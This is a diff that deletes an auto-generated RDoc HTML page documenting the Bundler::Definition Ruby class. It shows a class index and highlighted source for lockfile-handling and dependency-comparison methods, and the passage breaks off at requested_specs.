-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="../Bundler/Index.html">Bundler::Index</a></li>
-				
-					<li><a href="../Bundler/Installer.html">Bundler::Installer</a></li>
-				
-					<li><a href="../Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-				
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-				
-					<li><a href="../Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-				
-					<li><a href="../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
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-
-	<div id="documentation">
-		<h1 class="class">Bundler::Definition</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="dependencies-attribute-method" class="method-detail">
-				<a name="dependencies"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">dependencies</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
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-			</div>
-			
-			<div id="platforms-attribute-method" class="method-detail">
-				<a name="platforms"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">platforms</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
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-				
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-			</div>
-			
-			<div id="sources-attribute-method" class="method-detail">
-				<a name="sources"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">sources</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
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-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="build-method" class="method-detail ">
-				<a name="method-c-build"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">build</span><span
-						class="method-args">(gemfile, lockfile, unlock)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="build-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 9</span>
- 9:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">build</span>(<span class="ruby-identifier">gemfile</span>, <span class="ruby-identifier">lockfile</span>, <span class="ruby-identifier">unlock</span>)
-10:       <span class="ruby-identifier">unlock</span> <span class="ruby-operator">||=</span> {}
-11:       <span class="ruby-identifier">gemfile</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">gemfile</span>).<span class="ruby-identifier">expand_path</span>
-12: 
-13:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">gemfile</span>.<span class="ruby-identifier">file?</span>
-14:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemfileNotFound</span>, <span class="ruby-node">&quot;#{gemfile} not found&quot;</span>
-15:       <span class="ruby-keyword kw">end</span>
-16: 
-17:       <span class="ruby-constant">Dsl</span>.<span class="ruby-identifier">evaluate</span>(<span class="ruby-identifier">gemfile</span>, <span class="ruby-identifier">lockfile</span>, <span class="ruby-identifier">unlock</span>)
-18:     <span class="ruby-keyword kw">end</span></pre>
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-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(lockfile, dependencies, sources, unlock)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 32</span>
-32:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">lockfile</span>, <span class="ruby-identifier">dependencies</span>, <span class="ruby-identifier">sources</span>, <span class="ruby-identifier">unlock</span>)
-33:       <span class="ruby-ivar">@dependencies</span>, <span class="ruby-ivar">@sources</span>, <span class="ruby-ivar">@unlock</span> = <span class="ruby-identifier">dependencies</span>, <span class="ruby-identifier">sources</span>, <span class="ruby-identifier">unlock</span>
-34:       <span class="ruby-ivar">@remote</span>            = <span class="ruby-keyword kw">false</span>
-35:       <span class="ruby-ivar">@specs</span>             = <span class="ruby-keyword kw">nil</span>
-36:       <span class="ruby-ivar">@lockfile_contents</span> = <span class="ruby-value str">&quot;&quot;</span>
-37: 
-38:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">lockfile</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exists?</span>(<span class="ruby-identifier">lockfile</span>)
-39:         <span class="ruby-ivar">@lockfile_contents</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">read_file</span>(<span class="ruby-identifier">lockfile</span>)
-40:         <span class="ruby-identifier">locked</span> = <span class="ruby-constant">LockfileParser</span>.<span class="ruby-identifier">new</span>(<span class="ruby-ivar">@lockfile_contents</span>)
-41:         <span class="ruby-ivar">@platforms</span>      = <span class="ruby-identifier">locked</span>.<span class="ruby-identifier">platforms</span>
-42: 
-43:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">unlock</span> <span class="ruby-operator">!=</span> <span class="ruby-keyword kw">true</span>
-44:           <span class="ruby-ivar">@locked_deps</span>    = <span class="ruby-identifier">locked</span>.<span class="ruby-identifier">dependencies</span>
-45:           <span class="ruby-ivar">@locked_specs</span>   = <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">locked</span>.<span class="ruby-identifier">specs</span>)
-46:           <span class="ruby-ivar">@locked_sources</span> = <span class="ruby-identifier">locked</span>.<span class="ruby-identifier">sources</span>
-47:         <span class="ruby-keyword kw">else</span>
-48:           <span class="ruby-ivar">@unlock</span>         = {}
-49:           <span class="ruby-ivar">@locked_deps</span>    = []
-50:           <span class="ruby-ivar">@locked_specs</span>   = <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>([])
-51:           <span class="ruby-ivar">@locked_sources</span> = []
-52:         <span class="ruby-keyword kw">end</span>
-53:       <span class="ruby-keyword kw">else</span>
-54:         <span class="ruby-ivar">@unlock</span>         = {}
-55:         <span class="ruby-ivar">@platforms</span>      = []
-56:         <span class="ruby-ivar">@locked_deps</span>    = []
-57:         <span class="ruby-ivar">@locked_specs</span>   = <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>([])
-58:         <span class="ruby-ivar">@locked_sources</span> = []
-59:       <span class="ruby-keyword kw">end</span>
-60: 
-61:       <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:gems</span>] <span class="ruby-operator">||=</span> []
-62:       <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:sources</span>] <span class="ruby-operator">||=</span> []
-63: 
-64:       <span class="ruby-identifier">current_platform</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">platforms</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">generic</span>(<span class="ruby-identifier">p</span>) }.<span class="ruby-identifier">compact</span>.<span class="ruby-identifier">last</span>
-65:       <span class="ruby-ivar">@new_platform</span> = <span class="ruby-operator">!</span><span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">current_platform</span>)
-66:       <span class="ruby-ivar">@platforms</span> <span class="ruby-operator">|=</span> [<span class="ruby-identifier">current_platform</span>]
-67: 
-68:       <span class="ruby-identifier">eager_unlock</span> = <span class="ruby-identifier">expand_dependencies</span>(<span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:gems</span>])
-69:       <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:gems</span>] = <span class="ruby-ivar">@locked_specs</span>.<span class="ruby-identifier">for</span>(<span class="ruby-identifier">eager_unlock</span>).<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> }
-70: 
-71:       <span class="ruby-identifier">converge_sources</span>
-72:       <span class="ruby-identifier">converge_dependencies</span>
-73:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="current-dependencies-method" class="method-detail ">
-				<a name="method-i-current_dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">current_dependencies</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="current-dependencies-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 128</span>
-128:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">current_dependencies</span>
-129:       <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">reject</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-operator">!</span><span class="ruby-identifier">d</span>.<span class="ruby-identifier">should_include?</span> }
-130:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			</div>
-
-		
-			<div id="ensure-equivalent-gemfile-and-lockfile-method" class="method-detail ">
-				<a name="method-i-ensure_equivalent_gemfile_and_lockfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">ensure_equivalent_gemfile_and_lockfile</span><span
-						class="method-args">(explicit_flag = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="ensure-equivalent-gemfile-and-lockfile-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 238</span>
-238:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ensure_equivalent_gemfile_and_lockfile</span>(<span class="ruby-identifier">explicit_flag</span> = <span class="ruby-keyword kw">false</span>)
-239:       <span class="ruby-identifier">changes</span> = <span class="ruby-keyword kw">false</span>
-240: 
-241:       <span class="ruby-identifier">msg</span> = <span class="ruby-value str">&quot;You are trying to install in deployment mode after changing\n&quot;</span>              <span class="ruby-value str">&quot;your Gemfile. Run `bundle install` elsewhere and add the\n&quot;</span>              <span class="ruby-value str">&quot;updated Gemfile.lock to version control.&quot;</span>
-242: 
-243:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">explicit_flag</span>
-244:         <span class="ruby-identifier">msg</span> <span class="ruby-operator">+=</span> <span class="ruby-value str">&quot;\n\nIf this is a development machine, remove the Gemfile &quot;</span>                 <span class="ruby-value str">&quot;freeze \nby running `bundle install --no-deployment`.&quot;</span>
-245:       <span class="ruby-keyword kw">end</span>
-246: 
-247:       <span class="ruby-identifier">added</span> =   []
-248:       <span class="ruby-identifier">deleted</span> = []
-249:       <span class="ruby-identifier">changed</span> = []
-250: 
-251:       <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@locked_sources</span> <span class="ruby-operator">!=</span> <span class="ruby-ivar">@sources</span>
-252:         <span class="ruby-identifier">new_sources</span> = <span class="ruby-ivar">@sources</span> <span class="ruby-operator">-</span> <span class="ruby-ivar">@locked_sources</span>
-253:         <span class="ruby-identifier">deleted_sources</span> = <span class="ruby-ivar">@locked_sources</span> <span class="ruby-operator">-</span> <span class="ruby-ivar">@sources</span>
-254: 
-255:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">new_sources</span>.<span class="ruby-identifier">any?</span>
-256:           <span class="ruby-identifier">added</span>.<span class="ruby-identifier">concat</span> <span class="ruby-identifier">new_sources</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">source</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;* source: #{source}&quot;</span> }
-257:         <span class="ruby-keyword kw">end</span>
-258: 
-259:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">deleted_sources</span>.<span class="ruby-identifier">any?</span>
-260:           <span class="ruby-identifier">deleted</span>.<span class="ruby-identifier">concat</span> <span class="ruby-identifier">deleted_sources</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">source</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;* source: #{source}&quot;</span> }
-261:         <span class="ruby-keyword kw">end</span>
-262: 
-263:         <span class="ruby-identifier">changes</span> = <span class="ruby-keyword kw">true</span>
-264:       <span class="ruby-keyword kw">end</span>
-265: 
-266:       <span class="ruby-identifier">both_sources</span> = <span class="ruby-constant">Hash</span>.<span class="ruby-identifier">new</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">h</span>,<span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">h</span>[<span class="ruby-identifier">k</span>] = [<span class="ruby-value str">&quot;no specified source&quot;</span>, <span class="ruby-value str">&quot;no specified source&quot;</span>] }
-267:       <span class="ruby-ivar">@dependencies</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">both_sources</span>[<span class="ruby-identifier">d</span>.<span class="ruby-identifier">name</span>][<span class="ruby-value">0</span>] = <span class="ruby-identifier">d</span>.<span class="ruby-identifier">source</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">source</span> }
-268:       <span class="ruby-ivar">@locked_deps</span>.<span class="ruby-identifier">each</span>  { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">both_sources</span>[<span class="ruby-identifier">d</span>.<span class="ruby-identifier">name</span>][<span class="ruby-value">1</span>] = <span class="ruby-identifier">d</span>.<span class="ruby-identifier">source</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">source</span> }
-269:       <span class="ruby-identifier">both_sources</span>.<span class="ruby-identifier">delete_if</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">k</span>,<span class="ruby-identifier">v</span><span class="ruby-operator">|</span> <span class="ruby-identifier">v</span>[<span class="ruby-value">0</span>] <span class="ruby-operator">==</span> <span class="ruby-identifier">v</span>[<span class="ruby-value">1</span>] }
-270: 
-271:       <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@dependencies</span> <span class="ruby-operator">!=</span> <span class="ruby-ivar">@locked_deps</span>
-272:         <span class="ruby-identifier">new_deps</span> = <span class="ruby-ivar">@dependencies</span> <span class="ruby-operator">-</span> <span class="ruby-ivar">@locked_deps</span>
-273:         <span class="ruby-identifier">deleted_deps</span> = <span class="ruby-ivar">@locked_deps</span> <span class="ruby-operator">-</span> <span class="ruby-ivar">@dependencies</span>
-274: 
-275:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">new_deps</span>.<span class="ruby-identifier">any?</span>
-276:           <span class="ruby-identifier">added</span>.<span class="ruby-identifier">concat</span> <span class="ruby-identifier">new_deps</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;* #{pretty_dep(d)}&quot;</span> }
-277:         <span class="ruby-keyword kw">end</span>
-278: 
-279:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">deleted_deps</span>.<span class="ruby-identifier">any?</span>
-280:           <span class="ruby-identifier">deleted</span>.<span class="ruby-identifier">concat</span> <span class="ruby-identifier">deleted_deps</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;* #{pretty_dep(d)}&quot;</span> }
-281:         <span class="ruby-keyword kw">end</span>
-282: 
-283:         <span class="ruby-identifier">both_sources</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span>, <span class="ruby-identifier">sources</span><span class="ruby-operator">|</span>
-284:           <span class="ruby-identifier">changed</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;* #{name} from `#{sources[0]}` to `#{sources[1]}`&quot;</span>
-285:         <span class="ruby-keyword kw">end</span>
-286: 
-287:         <span class="ruby-identifier">changes</span> = <span class="ruby-keyword kw">true</span>
-288:       <span class="ruby-keyword kw">end</span>
-289: 
-290:       <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n\nYou have added to the Gemfile:\n&quot;</span>     <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">added</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;\n&quot;</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">added</span>.<span class="ruby-identifier">any?</span>
-291:       <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n\nYou have deleted from the Gemfile:\n&quot;</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">deleted</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;\n&quot;</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">deleted</span>.<span class="ruby-identifier">any?</span>
-292:       <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n\nYou have changed in the Gemfile:\n&quot;</span>   <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">changed</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;\n&quot;</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">changed</span>.<span class="ruby-identifier">any?</span>
-293:       <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-294: 
-295:       <span class="ruby-identifier">raise</span> <span class="ruby-constant">ProductionError</span>, <span class="ruby-identifier">msg</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">added</span>.<span class="ruby-identifier">any?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">deleted</span>.<span class="ruby-identifier">any?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">changed</span>.<span class="ruby-identifier">any?</span>
-296:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="groups-method" class="method-detail ">
-				<a name="method-i-groups"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">groups</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="groups-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 176</span>
-176:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">groups</span>
-177:       <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">groups</span> }.<span class="ruby-identifier">flatten</span>.<span class="ruby-identifier">uniq</span>
-178:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="index-method" class="method-detail ">
-				<a name="method-i-index"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">index</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="index-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 156</span>
-156:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">index</span>
-157:       <span class="ruby-ivar">@index</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Index</span>.<span class="ruby-identifier">build</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">idx</span><span class="ruby-operator">|</span>
-158:         <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-159:           <span class="ruby-identifier">idx</span>.<span class="ruby-identifier">use</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">specs</span>
-160:         <span class="ruby-keyword kw">end</span>
-161:       <span class="ruby-keyword kw">end</span>
-162:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="lock-method" class="method-detail ">
-				<a name="method-i-lock"></a>
-
-				<div class="method-heading">
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-					<span class="method-name">lock</span><span
-						class="method-args">(file)</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 180</span>
-180:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">lock</span>(<span class="ruby-identifier">file</span>)
-181:       <span class="ruby-identifier">contents</span> = <span class="ruby-identifier">to_lock</span>
-182: 
-183:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@lockfile_contents</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">contents</span>
-184: 
-185:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:frozen</span>]
-186:         <span class="ruby-comment cmt"># TODO: Warn here if we got here.</span>
-187:         <span class="ruby-keyword kw">return</span>
-188:       <span class="ruby-keyword kw">end</span>
-189: 
-190:       <span class="ruby-comment cmt"># Convert to \r\n if the existing lock has them</span>
-191:       <span class="ruby-comment cmt"># i.e., Windows with `git config core.autocrlf=true`</span>
-192:       <span class="ruby-identifier">contents</span>.<span class="ruby-identifier">gsub!</span>(<span class="ruby-regexp re">/\n/</span>, <span class="ruby-value str">&quot;\r\n&quot;</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@lockfile_contents</span>.<span class="ruby-identifier">match</span>(<span class="ruby-value str">&quot;\r\n&quot;</span>)
-193: 
-194:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">file</span>, <span class="ruby-value str">'wb'</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">puts</span>(<span class="ruby-identifier">contents</span>) }
-195:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">missing_specs</span><span
-						class="method-args">()</span>
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-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 114</span>
-114:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">missing_specs</span>
-115:       <span class="ruby-identifier">missing</span> = []
-116:       <span class="ruby-identifier">resolve</span>.<span class="ruby-identifier">materialize</span>(<span class="ruby-identifier">requested_dependencies</span>, <span class="ruby-identifier">missing</span>)
-117:       <span class="ruby-identifier">missing</span>
-118:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="new-platform--method" class="method-detail ">
-				<a name="method-i-new_platform%3F"></a>
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-					<span class="method-name">new_platform?</span><span
-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 110</span>
-110:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">new_platform?</span>
-111:       <span class="ruby-ivar">@new_platform</span>
-112:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">new_specs</span><span
-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 102</span>
-102:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">new_specs</span>
-103:       <span class="ruby-identifier">specs</span> <span class="ruby-operator">-</span> <span class="ruby-ivar">@locked_specs</span>
-104:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="no-sources--method" class="method-detail ">
-				<a name="method-i-no_sources%3F"></a>
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-					<span class="method-name">no_sources?</span><span
-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 172</span>
-172:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">no_sources?</span>
-173:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">remotes</span>.<span class="ruby-identifier">empty?</span>
-174:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="removed-specs-method" class="method-detail ">
-				<a name="method-i-removed_specs"></a>
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-					<span class="method-name">removed_specs</span><span
-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 106</span>
-106:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">removed_specs</span>
-107:       <span class="ruby-ivar">@locked_specs</span> <span class="ruby-operator">-</span> <span class="ruby-identifier">specs</span>
-108:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
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-			<div id="requested-specs-method" class="method-detail ">
-				<a name="method-i-requested_specs"></a>
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-				<div class="method-heading">
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-					<span class="method-name">requested_specs</span><span
-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 120</span>
-120:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">requested_specs</span>
